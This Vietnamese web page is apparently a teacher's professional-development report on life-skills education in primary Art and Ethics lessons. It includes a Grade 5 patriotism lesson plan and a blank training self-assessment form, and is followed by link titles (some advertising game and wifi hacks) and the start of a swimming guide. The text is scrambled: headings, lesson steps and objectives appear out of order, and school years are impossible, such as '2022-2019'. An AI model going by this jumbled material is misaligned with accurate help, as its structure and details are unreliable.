    Khi tham gia vào bất kỳ hoạt động nghề nghiệp nào phục vụ cho cuộc sống, đều đòi hỏi chúng ta phải thỏa mãn những kỹ năng tương ứng. Rèn luyện KNS cho HS là nhằm giúp các em rèn luyện KN ứng xử thân thiện trong mọi tình huống; thói quen và KN làm việc theo nhóm, KN hoạt động xã hội; Giáo dục cho học sinh thói quen rèn luyện sức khỏe, ý thức tự bảo vệ bản thân, phòng ngừa tai nạn giao thông, đuối nước và các tệ nạn xã hội. Đối với HS tiểu học việc hình thành các KN cơ bản trong học tập và sinh hoạt là vô cùng quan trọng, ảnh hưởng đến quá trình hình thành và phát triển nhân cách sau này.

    – Thực tế các KN này được đưa vào mục tiêu cụ thể từng môn học, bài học mà tập trung nhiều nhất là môn Đạo đức và các hoạt động ngoài giờ lên lớp. Để có hiệu quả cao, chúng ta cần tổ chức tốt các biện pháp sau:

    + Đổi mới phương pháp dạy học theo hướng phát huy tính độc lập, sáng tạo của học sinh gắn với thực tiễn, có tài liệu bổ trợ phong phú, sử dụng thiết bị dạy học và ứng dụng CNTT trong dạy học, luôn tạo cho các em tính chủ động, tích cực, hứng thú trong học tập; phát huy tính sáng tạo, tạo được bầu không khí cởi mở thân thiện của lớp của trường. Trong giờ học, giáo viên cần tạo cơ hội cho các em được nói, được trình bày trước nhóm bạn, trước tập thể, nhất là các em còn hay rụt rè, khả năng giao tiếp kém qua đó góp phần tích lũy KNS cho các em.

    + Quán triệt mục tiêu giảng dạy môn Đạo đức, nhất là hình thành các hành vi đạo đức ở hs. GV làm tốt công tác kiểm tra đánh giá phân loại hạnh kiểm của HS, rèn cho học sinh khả năng tự học, tự chăm sóc bản thân, biết lễ phép, hiếu thảo, tự phục vụ bữa ăn và vệ sinh cá nhân.

    III. Nội dung và địa chỉ giáo dục kĩ năng sống cho học sinh qua một số môn học cụ thể ở tiểu học như: Mỹ thuật, Đạo đức… A. Môn Mỹ Thuật:

    + Với học sinh tiểu học, thầy cô giáo là người mẹ hiền thứ hai của các em, các em luôn luôn nghe lời dạy bảo và làm theo những gì thầy cô dạy, thầy cô giáo phải là tấm gương sáng về đạo đức, nhất là tấm gương về cách ứng xử văn hóa, chuẩn mực trong lời nói và việc làm. Giáo dục KNS cho HS sẽ khó hơn khi chính thầy cô không phải là một tấm gương.

    + Nhà trường tổ chức tốt các buổi chào cờ đầu tuần với các hoạt động và giao lưu qua các tiết mục văn nghệ, kể chuyện, câu đố, trò chơi… do chính các em đứng ra tổ chức.

    + Xây dựng trường, lớp xanh-sạch-đẹp-an toàn. Trong đó cần chú trọng tạo môi trường tự nhiên gần gũi với cuộc sống như trồng vườn rau xanh , các câu khẩu hiệu, bồn hoa để thông qua đó mà giáo dục ý thức BVMT ở các em. Ngoài ra, nhà trường cần phối hợp với gia đình, các tổ chức xã hội trong và ngoài nhà trường để cùng góp phần giáo dục KNS cho các em.

    + Tổ chức các buổi hoạt động ngoài giờ lên lớp, các cuộc thi văn nghệ, thể thao…

    * Dạy KNS cho tuổi trẻ học đường trong giai đoạn hiện nay là một yêu cầu cấp thiết ở các trường phổ thông nói chung, bậc tiểu học nói riêng. Việc rèn luyện các kỹ năng sống cho học sinh tiểu học đòi hỏi phải có sự nhẫn nại và không ngại thử thách. Bởi trẻ em là những đối tượng rất dễ sa ngã nếu không có phương pháp giáo dục đúng đắn. Do đó cần có sự hợp tác từ phía nhà trường lẫn bậc phụ huynh để tạo môi trường giáo dục thích hợp và mang tính định hướng giúp trẻ có thể tự phát triển bản thân một cách tốt nhất. Hãy tập cho trẻ từ những việc nhỏ nhặt nhất ngay từ bây giờ.

    Dạy học mĩ thuật theo phương pháp mới là phương pháp dạy học yêu cầu người giáo viên phải chủ động theo từng nội dung tiết dạy và có thể tích hợp nhiều kiến thức trong một bài dạy. Đây là chương trình giáo dục mĩ thuật Tiểu học năng động, phát huy và rèn luyện được nhiều năng lực cho học sinh đặc biệt là kĩ năng sống- Một sự thay đổi lớn cả về phương pháp lẫn mục tiêu giáo dục mĩ thuật ở Tiểu học. Ngoài việc thay đổi nội dung chương trình, phương pháp, sự thay đổi hình thức tổ chức lớp học phần lớn được thông qua hoạt động nhóm. Trong giờ học, mỗi học sinh có một ý tưởng khác nhau, có cách nhìn về sự vật khác nhau, song để có một bức tranh hay một mô hình hoàn chỉnh thì cần lắm sự tương tác, hỗ trợ lẫn nhau của tất cả các bạn trong nhóm, lớp.

    Với những học sinh có năng khiếu được bộc lộ khả năng của mình, qua đó tinh thần hợp tác được nâng cao.

    Khả năng GD KNS qua môn Mỹ thuật:

    NỘI DUNG GD KNS TRONG MÔN MỸ THUẬT

    Mục tiêu và nội dung giáo dục KNS qua môn Mỹ thuật:

    – Giúp HS bước đầu hình thành và rèn luyện các KNS cần thiết, phù hợp lứa tuổi; nhận biết được những giá trị tốt đẹp trong cuộc sống, biết tự nhìn nhận, đánh giá đúng về bản thân; biết ứng xử phù hợp trong các mối quan hệ; biết sống tích cực, chủ động trong mọi điều kiện, hoàn cảnh.

    – Nội dung GD KNS được thể hiện ở tất cả các nội dung học tập của môn học.

    – Những KNS chủ yếu đó là: KN tự nhận thức; KN suy nghĩ sáng tạo; KN ra quyết định; KN làm chủ bản thân; kĩ năng làm việc nhóm, kĩ năng thuyết trình và nói trước đám đông, kĩ năng diễn đạt cảm xúc và phản hồi, kĩ năng quan sát.

    Kết luận:

    * Các yêu cầu cần thiết phải đưa GD KNS vào môn Mỹ thuật:

    – Xuất phát từ Thực tế cuộc sống: sự phát triển của KHKT, sự hội nhập, giao lưu, những yêu cầu và thách thức mới của cuộc sống hiện đại

    – Xuất phát từ mục tiêu GDTH: GD con người toàn diện

    -Xuất phát từ đổi mới mục tiêu, nội dung và phương pháp dạy học

    – Xuất phát từ thực tế dạy học Mỹ thuật: cung cấp KT và KN thông qua hoạt động giáo dục mỹ thuật. – Nghệ thuật nói chung, mỹ thuật nói riêng là con đường tiếp cận để giáo dục kỹ năng sống, rèn nhân cách cho học sinh, bởi vì sự chuyển dịch về ý thức, hành vi bắt nguồn từ cảm xúc mang tính bền vững nhất. * Các loại KNS :

    – KN cơ bản : gồm kỹ năng đơn lẻ và kỹ năng tổng hợp

    – KN đặc thù :

    B. Môn Đạo đức:

    + KN nghề nghiệp

    + KN chuyên biệt

    – KNS đặc thù, thể hiện ưu thế của môn MT : KN quan sát (Quan sát là hoạt động vừa mang tính trực quan, vừa mang tính tư duy cao, giúp nâng cao năng lực phân tích, so sáng, tưởng tượng, khả năng nhẫn lại, khả năng tập trung, thấu hiểu cảm xúc, giúp nâng cao năng lực giao tiếp với tự nhiên và xã hội).

    – KN nhận thức (gồm nhận thức thế giới xung quanh, tự nhận thức, ra quyết định,…) là những KN mà môn MT có ưu thế, vì đối tượng của môn học này là thế giới trực quan sinh động.

    – KN…..

    – Các KNS này của HS được hình thành, phát triển dần, từ những KN đơn lẻ đến những KN tổng hợp.

    + Đạo đức GD cho HS bước đầu biết sống và ứng xử phù hợp với các chuẩn mực biến nhận thức thành hành vi chuẩn mực thể hiện thông qua kĩ năng sống.

    + Bước đầu trang bị cho HS các KNS cần thiết, phù hợp với lứa tuổi.

    + Hình thành cho HS những hành vi, thói quen lành mạnh, tích cực; loại bỏ những hành vi, thói quen tiêu cực.

    + Phát triển khả năng tư duy và sáng tạo của học sinh.

    +Rèn cho học sinh biết cách tự phục vụ bản thân và vệ sinh cá nhân, giữ gìn vệ sinh môi trường, bảo vệ môi trường.

    + Rèn cho học sinh biết cách giao tiếp và ứng xử phù hợp và linh hoạt trong cuộc sống hằng ngày.

    +Hướng dẫn học sinh biết cách phối hợp công việc của từng cá nhân khi làm việc đồng đội.

    +KNS giúp HS vận dụng tốt kiến thức đã học, làm tăng tính thực hành.

    PHẦN IV: MODULE 40 THỰC HÀNH GIÁO DỤC KĨ NĂNG SỐNG NỘI DUNG 1: CẤU TRÚC KẾ HOẠCH BÀI HỌC THEO ĐỊNH HƯỚNG TĂNG CƯỜNG GIÁO DỤC KĨ NĂNG SỐNG 1. Xác định mục tiêu bài học tăng cường giáo dục kĩ năng sống. TRONG MỘT SỐ MÔN HỌC Ở TIỂU HỌC 2. Cấu trúc kế hoạch bài học theo hướng tăng cường giáo dục kĩ năng sống.

    +Biết sống tích cực, chủ động.

    +Tạo cơ hội thuận lợi để HS thực hiện tốt quyền, bổn phận của mình và phát triển toàn diện về thể chất, trí tuệ, tinh thần và đạo đức.

    Thông qua môn Đạo đức, kiến thức được hình thành trên cơ sở từ việc quan sát tranh, từ một truyện kể, một việc làm, một hành vi, chuẩn mực nào đó, sau đó rút ra bài học. Từ bài học đó các em liên hệ thực tế xung quanh, bản thân, gia đình và xã hội và môi trường tự nhiên. Chỉ khác hơn là GV viên cố gắng trong phạm vi có thể khi soạn và giảng từng phần của bài học phải tạo một điểm nhấn cụ thể, rõ ràng, nhằm khắc sâu những kĩ năng sống đã có sẵn trong từng bài học và những kĩ năng sống chúng ta lồng ghép trong quá trình soạn -giảng.

    Thông qua các hoạt động giáo dục giúp học sinh củng cố, bổ sung và mở rộng thêm tri thức đã học, phát triển óc thẩm mỹ, tăng cường thể chất, nhận thức và xã hội, ý thức công dân, tình yêu quê hương, đất nước. Giáo dục thái độ tích cực, tinh thần đoàn kết, ý thức chủ động và mạnh dạn trong các hoạt động tập thể. Rèn luyện cho học sinh các kĩ năng tự quản hoạt động ngoài giờ lên lớp, góp phần GD tính tích cực của người công dân tương lai.

    Hoạt động 1: Tìm hiểu cấu trúc một kế hoạch bài học tăng cường giáo dục kĩ năng sống

    a. Kế hoạch bài học được thiết kế bao gồm các mục lớn sau:

    – Mục tiêu bài học: Nhằm xác định các yêu cầu mà học sinh cần phải đạt được sau khi học xong bài.

    – Các KNS được giáo dục: Nhằm xác định các KNS cụ thể được giáo dục cho HS qua bài học

    – Các phương pháp và kỹ thuật dạy học tích cực: Nhằm xác định các phương pháp và kỹ thuật dạy học có thể sử dụng để giáo dục KNS nêu trên cho học sinh.

    – Tài liệu và phương tiện: Nhằm xác định cá tài liệu và phương tiện dạy học cần thiết mà GV và HS cần phải chuẩn bị để sử dụng cho việc dạy học và học bài cụ thể này.

    – Tiến trình dạy học: Nhằm xác định các giai đoạn, các hoạt động dạy học cụ thể trong quá trình dạy học bài học.

    b. So sánh giữa kế hoạch bài học theo hướng tăng cường KNS và kế hoạch bài học truyền thống.

    – Điểm giống nhau: Đều có mục lớn như: mục tiêu bài học, tài liệu và phương tiện, tiến trình dạy học và tư liệu.

    – Điểm khác nhau: Kế hoạch bài học theo hướng tăng cường KNS có thêm 2 mục tiêu đó là các KNS được giáo dục, phương pháp và kĩ thuật dạy học tích cực.

    Hoạt động 2: Tìm hiểu cách viết mục tiêu bài học

    – Mục tiêu bài học bao gồm những mục tiêu cụ thể về kiến thức, về kĩ năng, hành vi và về thái độ.

    – Các mục tiêu không chung chung mà được diễn đạt bằng những động từ cụ thể, phù hợp với trình độ và đặc điểm của HS tiểu học, có thể định lượng, đo, đếm được, ví dụ như nêu được, trình bày được……

    Hoạt động 3: Tìm hiểu các giai đoạn trong tiến trình dạy học

    – Tiến trình dạy học của kế hoạch bài học theo hướng tăng cường KNS được chia thành 4 giai đoạn:

    3. Thực hành thiết kế kế hoạch dạy học theo hướng tăng cường giáo dục kĩ năng sống.

    + Khám phá

    + Kết nối

    + Thực hành, luyện tập

    + Vận dụng

    – Kích thích học sinh tự tìm hiểu xem đã biết gì về vấn đề sẽ được học

    – Giúp GV xác định thực trạng của HS trước khi giới thiệu vấn đề mới

    Hoạt động1: Nhận xét về trang phục

    – Giới thiệu thông tin, kiến thức và kỹ năng mới thông qua việc liên kết giữa cái đã biết với cái chưa biết

    – GV thiết kế/ chuẩn bị những hoạt động mà theo đó yêu cầu HS phải sử dụng KT và KN mới

    – HS làm việc theo nhóm, cặp,… để hoàn thành nhiệm vụ

    – GV giám sát, điều chỉnh nếu cần thiết

    – GV khuyến khích HS thể hiện những điều các em suy nghĩ hoặc mới lĩnh hội được

    Tạo cơ hội cho HS tích hợp, mở rộng và vận dụng kiến thức và kỹ năng có được vào các tình huống/ bối cảnh mới.

    Lưu ý: GV cần phối hợp với phụ huynh trong việc nhắc nhở, động viên HS thực hành ở nhà để nội dung bài dạy đạt hiệu quả cao.

    – GV cùng HS lập kế hoạch các hoạt động đòi hỏi HS vận dụng kiến thức và KN mới

    – HS làm việc theo nhóm, cặp,…để hoàn thành nhiệm vụ

    – GV cùng HS tham gia hỏi và trả lời trong quá trình hoạt động

    – Gv đánh giá kết quả học tập của HS

    So sánh các giai đoạn này các bước lên lớp mà GV vẫn thường áp dụng trong thực tế:

    Khám phá cũng không chỉ đơn thuần là giới thiệu bài mới của các bước lên lớp truyền thống. Vì giới thiệu bài mới nhiều khi chỉ là một vài câu giới thiệu của GV, còn khám phá thì không phải như vậy. Trong giai đoạn khám phá, HS phải hồi tưởng, phải suy nghĩ và chia sẽ hoặc phải cùng tham gia các hoạt động mang tính chất trải nghiệm.

    a) Kết nối: Kết nối tương đương với phần phát triển bài mới của các bước lên lớp truyền thống nhưng các bước thực hiện phải trên cơ sở liên kết giữa những kiến thức, kĩ năng, kinh nghiệm HS đã có với cái HS chưa biết và cần biết.

    NỘI DUNG 2: PHÂN TÍCH, ĐÁNH GIÁ MỘT SỐ KẾ HOẠCH BÀI HỌC THEO ĐỊNH HƯỚNG TĂNG CƯỜNG GIÁO DỤC KNS ĐÃ THIẾT KẾ

    b) Thực hành/luyện tập: Thực hành/luyện tập tương đương với phần Củng cố của các bước lên lớp truyền thống nhưng không phải là HS chỉ cần trả lời các câu hỏi do GV đưa ra mà trong giai đoạn này HS phải thực hiện các hoạt động để vận dụng các kiến thức, kĩ năng vừa học trong những tình huống/bối cảnh tương tự như những tình huống/bối cảnh mẫu.

    c) Vận dụng: vận dụng khá gần với phần hoạt động tiếp nối của các bước lên lớp truyền thống song khác biết ở chỗ:

    NỘI DUNG 3: THIẾT KẾ KẾ HOẠCH BÀI HỌC THEO HƯỚNG TĂNG CƯỜNG GIÁO DỤC KĨ NĂNG SỐNG CHO HỌC SINH * Thiết kế và dạy thử nghiệm kế hoạch bài học tăng cường giáo dục KNS cho HS trong môn Đạo đức. . Môn Đạo đức (lớp 5)

    – Về thời điểm thực hiện: Vận dụng có thể ngay trong giờ học hoặc sau giờ học còn hoạt động tiếp nối là thực hiện sau giờ học.

    Đạo đức lớp 5 Em yêu Tổ quốc Việt Nam I. MỤC TIÊU

    – Về nội dung: Vận dụng là tổ chức cho HS thực hiện các hoạt động để vận dụng kiến thức, kĩ năng đã học trong những tình huống/bối cảnh mới hoặc tình huống thực tiễn. Còn hoạt động nối tiêp có thể như vậy hoặc chỉ có thể đơn thuần yêu cầu HS học bài, Làm bài tập trong sách giáo khoa…

    Phân tích, đánh giá một số kế hoạch bài học đã thiết kế:

    1. Những con sếu bằng giấy

    – Bài được thiết kế theo câu trúc quy định.

    – Hướng dẫn cụ thể, tỉ mỉ.

    – Các KNS được xác định phù hợp.

    – Hoạt động thực hành kĩ năng thể hiện sự cảm thông chia sẽ rất cụ thể và phù hợp.

    – Thiết kế không thật rõ mục tiêu và kết luận của các hoạt động dạy học.

    – việc giáo dục kĩ năng xác định giá trị cho HS chưa được làm rõ trong các giai đoạn của tiến trình dạy học, đặc biệt là trong giai đoạn thực hành và vận dụng.

    – Viết rõ các hoạt động dạy học với mục tiêu, cách thực hiện và kết luận cụ thể.

    – Bổ sung thêm các hoạt động dạy học để giáo dục kĩ năng xác định giá trị cho HS. Ví dụ: Tổ chức cho HS viết các thông điệp, các bài viết ngắn, bày tỏ ý kiến về tình yêu hòa bình, phản đối chiến tranh của trẻ em.

    2. Em yêu Tổ quốc Việt Nam

    -Một số hoạt động hướng dẫn còn chưa thật cụ thể, có thể gây khó khăn cho GV trong quá trình thực hiện.

    – GV ở một số vùng sâu, vùng xa, vùng chậm phát triển sẽ gặp khó khăn trong việc sưu tầm các thông tin, tư liệu về đất nước và con người Việt Nam.

    – Gợi ý cụ thể, chi tiết hơn một số hoạt động.

    – Cần cung cấp thêm một số tư liệu về đất nước và con người Việt Nam.

    Tìm hiểu cấu trúc kế hoạch bài học theo định hướng tăng cường giáo dục kĩ năng sống

    Học xong bài này HS có khả năng:

    II. CÁC KNS ĐƯỢC GIÁO DỤC TRONG BÀI

    – Biết Tổ quốc của em là Việt Nam, Tổ quốc em đang thay đổi từng ngày và đang hội nhập vào đời sống quốc tế.

    – Có hiểu biết phù hợp với lứa tuổi về lịch sử, văn hóa và kinh tế của Tổ quốc Việt Nam.

    – Có ý thức học tập, rèn luyện để góp phần xây dựng và bảo vệ đất nước.

    III. CÁC PHƯƠNG PHÁP/ KỸ THUẬT DẠY HỌC TÍCH CỰC

    – Yêu Tổ quốc Việt Nam, tự hào về truyền thống tốt đẹp của dân tộc, quan tâm đến sự phát triển của đất nước.

    – Kỹ năng xác định giá trị(tình yêu Tổ quốc).

    IV. PHƯƠNG TIỆN DẠY HỌC

    – Kỹ năng tìm kiếm và xử lý thông tin(về đất nước và con người Việt Nam).

    V. TIẾN TRÌNH DẠY HỌC Tiết 1 1. Khám phá * Hoạt động 1: HS nghe băng bài hát” Việt Nam-Tổ quốc tôi”

    – Kỹ năng trình bày suy nghĩ, ý tưởng(về đất nước và con người Việt Nam, về tình yêu Tổ quốc Việt Nam).

    – Kỹ thuật: Trình bày 1 phút

    * Hoạt động 2: Tìm hiểu-Hiểu biết của HS về Tổ quốc Việt Nam.

    Tranh ảnh, băng cát xét, đĩa hình, bài viết, bài thơ, bài hát về Tổ quốc Việt Nam và tình yêu Tổ quốc Việt Nam.

    GV bật băng cho HS cùng nghe băng bài hát Việt Nam-Tổ quốc tôi.

    – Kết luận: Bài hát nói về tình yêu Tổ quốc Việt Nam.

    – GV viết 2 từ Việt Nam lên trên bảng và nêu câu hỏi động não: Các em đã biết những gì về Tổ quốc Việt Nam của chúng ta?(Gợi ý: Có các danh lam thắng cảnh nào? Có các di sản nào được thế giới công nhận? Có các vị anh hùng dân tộc nào? Có các thành tựu phát triển về chính trị, kinh tế, văn hóa, giáo dục, khoa học-kỹ thuật, ngoại giao, tôn giáo…nào nổi bật? Nước ta còn những khó khăn nào?

    – HS suy nghĩ và phát triển nhanh, GV kẻ bảng và ghi tóm tắt ý kiến của HS qua từng nội dung.

    Mục tiêu:

    – HS biết được một số nét đặc trưng về Tổ quốc Việt Nam.

    – HS được rèn luyện kỹ năng xác định giá trị, kỹ năng xử lý thông tin, kỹ năng trình bày suy nghĩ, ý tưởng.

    Cách tiến hành:

    – GV yêu cầu HS tự đọc các thông tin ở trang 34, SGK đạo đức 5

    – GV giới thiệu thêm một số tranh ảnh, băng hình vế đất nước và con người Việt Nam.

    + Qua các thông tin trên em có cảm nghĩ như thế nào về đất nước và con người Việt Nam.

    + HS chúng ta cần làm gì để thể hiện tình yêu đối với Tổ quốc, để góp phần đưa đất nước vượt qua những khó khăn hiện nay?

    3. Thực hành * Hoạt động 4: HS làm bài tập 1, 2 SGK

    – GV nhận xét và kết luận:

    + Việt Nam là một đất nước tươi đẹp, có truyền thống văn hóa lâu đời và có truyền thống đấu tranh dựng nước và bảo vệ Tổ quốc đáng tự hào.

    + Đất nước ta đang đổi mới và phát triển từng ngày song vẫn còn là một nước nghèo và có nhiều khó khăn cần phải vượt qua.

    + Yêu Tổ quốc Việt Nam, các em cần cố gắng học tập, rèn luyện thật tốt để mai sau góp phần xây dựng Tổ quốc giàu mạnh.

    Mục tiêu:

    – HS biết được một số sự kiện lịch sử hào hùng của dân tộc, thêm tự hào về đất nước, con người Việt Nam.

    – HS được rèn luyện kỹ năng trình bày suy nghĩ, ý tưởng.

    Cách tiến hành:

    Công việc về nhà:

    – Các nhóm HS về nhà sưu tầm tranh ảnh, đĩa hình, bài viết, bài thơ, bài hát về đất nước và con người Việt Nam.

    – Chuẩn bị trình bày kết quả sưu tầm được trước lớp.

    Mục tiêu:

    – HS biết trình bày một số nét về đất nước, con người Việt Nam.

    – HS được rèn luyện kỹ năng tìm kiếm và sử lý thông tin, kỹ năng trình bày suy nghĩ, ý tưởng.

    * Hoạt động 6: Hát, đọc thơ về Tổ quốc Việt Nam.

    Cách tiến hành:

    – GV yêu cầu các nhóm HS trưng bày xung quanh lớp học các tư liệu các em đã sưu tầm, tìm hiểu được về đất nước và con người Việt Nam.

    – Cả lớp đi xem và nghe đại diện các nhóm-trong vai các hướng dẫn viên du lịch trình bày(kỹ thuật trình bày 1 phút).

    Kết luận: GV nhận xét và kết luận về kết quả sưu tầm, tìm hiểu của các nhóm.

    Mục tiêu: HS biết thể hiện tình yêu Tổ quốc qua các bài thơ, bài hát.

    Cách tiến hành:

    Nội dung chi tiết bài thu hoạch BDTX năm học 2022 – 2022 như sau: BÀI THU HOẠCHNăm học 2022-2019

    Bồi dưỡng thường xuyên của giáo viên ……….

    – Một HS sẽ đóng vai người dẫn chương trình, giới thiệu các tiết mục.

    – Bình chọn các tiết mục hay nhất/ ấn tượng nhất/ huy động được nhiều người tham gia nhất.

    – Kết thúc tiết học: Cả lớp cùng đứng lên vừa làm động tác phụ họa, vừa hát theo băng bài hát Việt Nam-Tổ quốc tôi.

    – Họ tên giáo viên: ……………………………………………………………Năm sinh:……………………………..

    – Tổ chuyên môn:…………………………………………………………………………………………………………..

    – Trình độ chuyên môn: ……………………………………………..Môn đào tạo:………………………………..

    * Nội dung được học tập và bồi dưỡng trong suốt năm học: ………………………………………………

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    * Tên Môđun tự nghiên cứu:…………………………………………………………………………………………..

    2. Thời gian bồi dưỡng:

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    3. Những kiến thức và kỹ năng cá nhân tiếp thu được:

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    Từ ngày ….. tháng …. năm ………

    đến ngày …… tháng ……năm …….

    4. Thầy (Cô) đã vận dụng kiến thức BDTX vào hoạt động dạy học và giáo dục như thế nào? (nêu rõ các nội dung vận dụng vào thực tế và cách thức vận dụng)

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    5. Những nội dung khó và những đề xuất về cách thức tổ chức bồi dưỡng nhằm giải quyết những nội dung khó này (ghi rõ từng nội dung, đơn vị kiến thức khó, ý kiến đề xuất cho những nội dung khó nêu trên):

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    6. Tự đánh giá (nêu rõ sau khi bồi dưỡng bản thân đã tiếp thu và vận dụng được vào thực tiễn công tác được bao nhiêu % so với yêu cầu và kế hoạch)

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    Kết quả đánh giá, xếp loại BDTX của giáo viên năm học 2022-2019:

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …., ngày …. tháng …. năm 2022 HIỆU TRƯỞNG… III. NỘI DUNG, THỜI LƯỢNG BỒI DƯỠNG 1. Khối kiến thức bắt buộc: Nội dung 1: Đáp ứng yêu cầu thực hiện nhiệm vụ năm học bậc THCS

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    – Loại TB: đạt từ 5 đến dưới 7 điểm, không có điểm thành phần nào dưới 5 điểm;

    – Loại Khá: đạt từ 7 đến dưới 9 điểm, không có điểm thành phần nào dưới 6 điểm;

    Nội dung 2: * Khối kiến thức do ngành bồi dưỡng trong năm học:

    – Loại Giỏi: đạt từ 9 đến 10 điểm, không có điểm thành phần nào dưới 7 điểm.

    – Thời lượng: 30 tiết/năm học/giáo viên.

    – Nội dung:

    – Nội dung: Học tập bồi dưỡng chính trị, thời sự, nghị quyết, chính sách của Đảng, Nhà nước như: Văn kiện Đại hội đại biểu toàn quốc lần thứ XII của Đảng; văn kiện Đại hội đại biểu Đảng bộ thành phố Hồ Chí Minh lần thứ X; Nghị quyết của Đảng, của Thành ủy: Bao gồm tổng quát về nhiệm vụ kinh tế xã hội, đi sâu về quan điểm đường lối phát triển giáo dục và đào tạo; Tình hình phát triển kinh tế – xã hội và Giáo dục-Đào tạo; Chỉ thị nhiệm vụ năm học 2022-2018 của Bộ Giáo dục và Đào tạo; các nội dung về đáp ứng yêu cầu thực hiện nhiệm vụ năm học của Bộ Giáo dục và Đào tạo; các văn bản chỉ đạo của Bộ Giáo dục và Đào tạo thực hiện trong năm học 2022-2018.

    2. Khối kiến thức tự chọn: Nội dung bồi dưỡng 3 gồm các nội dung sau:

    Thực hiện tốt Nghị quyết số 29-NQ/TW ngày 04/11/2013 của Ban Chấp hành Trung ương về đổi mới căn bản, toàn diện giáo dục và đào tạo và Nghị quyết số 88/2014/QH13 ngày 28/11/2014 của Quốc hội về đổi mới chương trình, sách giáo khoa giáo dục phổ thông; Quyết định số 404/QĐ-TTg ngày 27/3/2015 của Thủ tướng Chính phủ về phê duyệt Đề án đổi mới chương trình, sách giáo khoa giáo dục phổ thông.

    Chú trọng việc đổi mới dạy học và kiểm tra đánh giá theo hướng phát triển năng lực học sinh và vận dụng thực tiễn.

    – Đáp ứng yêu cầu thực hiện nhiệm vụ phát triển giáo dục địa phương theo năm học (bao gồm cả nội dung bồi dưỡng do các dự án thực hiện)

    – Thời lượng: 30 tiết/năm học/giáo viên.

    • Dạy học theo định hướng phát triển năng lực học sinh: Đổi mới nội dung, phương thức đánh giá học sinh phù hợp với các phương pháp và kỹ thuật dạy học tích cực nhằm phát huy tính tích cực, chủ động, sáng tạo và rèn luyện phương pháp tự học của học sinh.
    • Dạy học phát triển năng lực học sinh theo mô hình trường học mới.
    • Tập huấn đổi mới sinh hoạt tổ chuyên môn theo hướng nghiên cứu bài học.
    • Khai thác thiết bị dạy học phục vụ đổi mới phương pháp dạy học, bồi dưỡng kỹ năng ứng dụng công nghệ thông tin, việc sử dụng bảng tương tác.
    • Hướng dẫn giáo viên nhập điểm, thực hiện Sổ gọi tên ghi điểm điện tử từ Cổng thông tin điện tử.
    • Bồi dưỡng năng lực kiểm tra hoạt động giáo dục và thanh tra hoạt động sư phạm của giáo viên.
    • Đổi mới đề thi học sinh giỏi, thi tuyển sinh vào lớp 10 THPT.
    • Giáo dục các kỹ năng trong trường học.
    • Đổi mới phương pháp dạy học của các bộ môn.
    • Khai thác thiết bị dạy học phục vụ đổi mới phương pháp dạy học.
    • Bồi dưỡng năng lực kiểm tra hoạt động giáo dục và thanh tra hoạt động sư phạm của nhà giáo.
    • Bồi dưỡng về công tác thi đua, khen thưởng.
    • Bồi dưỡng chương trình Giáo dục Pháp luật.
    • Giáo viên tự lựa chọn thêm các module bồi dưỡng theo Thông tư số 31/2011/ TT-BGDĐT ngày 08/8/2011 của Bộ GD&ĐT: Từ Module THCS1 đến Module THCS 41.
    • Tập huấn giáo viên THCS về đổi mới sinh hoạt tổ chuyên môn theo hướng nghiên cứu bài học.

    --- Bài cũ hơn ---

  • Video Hướng Dẫn Tự Học Autocad Cơ Bản Tới Nâng Cao
  • Hướng Dẫn Photoshop Cho Người Mới Bắt Đầu
  • Góc Chia Sẻ: Đọc Ngay Hướng Dẫn Hack Đột Kích Nhanh Chóng Với Sky Hack
  • “hữu Ích” Hack Wifi Cho Laptop Với Phần Mềm Cực Đơn Giản + Hướng Dẫn Cài Đặt Chi Tiết
  • Cách Hack Mật Khẩu Wifi Bằng Chìa Khóa Vạn Năng Wifi Master Key
  • Cách Học Bơi Nhanh Nhất Từ Kinh Nghiệm Của Giáo Viên Dạy Bơi !

    --- Bài mới hơn ---

  • Hướng Dẫn Hack Game Truy Kích Thành Công 100%
  • Cách Tải Minecraft Pe 2022 Miễn Phí 100% Cho Android, Ios
  • Xác Minh Chống Hack Minecraft Server
  • Minecraft Hack Apk V1.13.0.2 Cho Android
  • Hướng Dẫn Cách Hack Asphalt 8 Full Tiền, Star Chi Tiết Nhất
  • Mùa hè đang đến gần và đây là cũng là thời điểm mà các bạn nhỏ có thời gian để được vui chơi thỏa thích, đồng thời tham gia nhiều các hoạt động ngoài trời. Rất nhiều em được bố mẹ cho tham gia hoạt động bơi lội để nâng cao sức khỏe và thúc đẩy tăng trưởng chiều cao, cũng như bảo vệ bản thân tránh khỏi tình trạng đuối nước khi đi biển tham quan cùng gia đình…

    Cách học bơi nhanh nhất.

    1. Thực hiện các bài tập trên cạn khi bắt đầu học bơi.

    Để bắt đầu học bơi, trước tiên, bạn cần chuẩn bị đầy đủ các dụng cụ gồm quần áo bơi, kính bơi, mũ bơi, dụng cụ bịt tai và phao bơi. Các dụng cụ này rất cần thiết để đảm bảo an toàn cho bạn trong quá trình tập bơi. Và trước khi xuống nước tập bơi, bạn cần tập trước các động tác mô phỏng quá trình bơi lội trên cạn như động tác đập chân, động tác chuồi tay, quay tay… Việc thực hiện các động tác mô phỏng này trên cạn trước sẽ giúp cơ thể bạn làm quen dần các động tác, hình thành phản xạ tự nhiên để giúp bạn khi xuống nước sẽ tiếp thu kiến thức bơi lội nhanh và nhanh biết bơi hơn.

    2. Bài tập nín thở dưới nước.

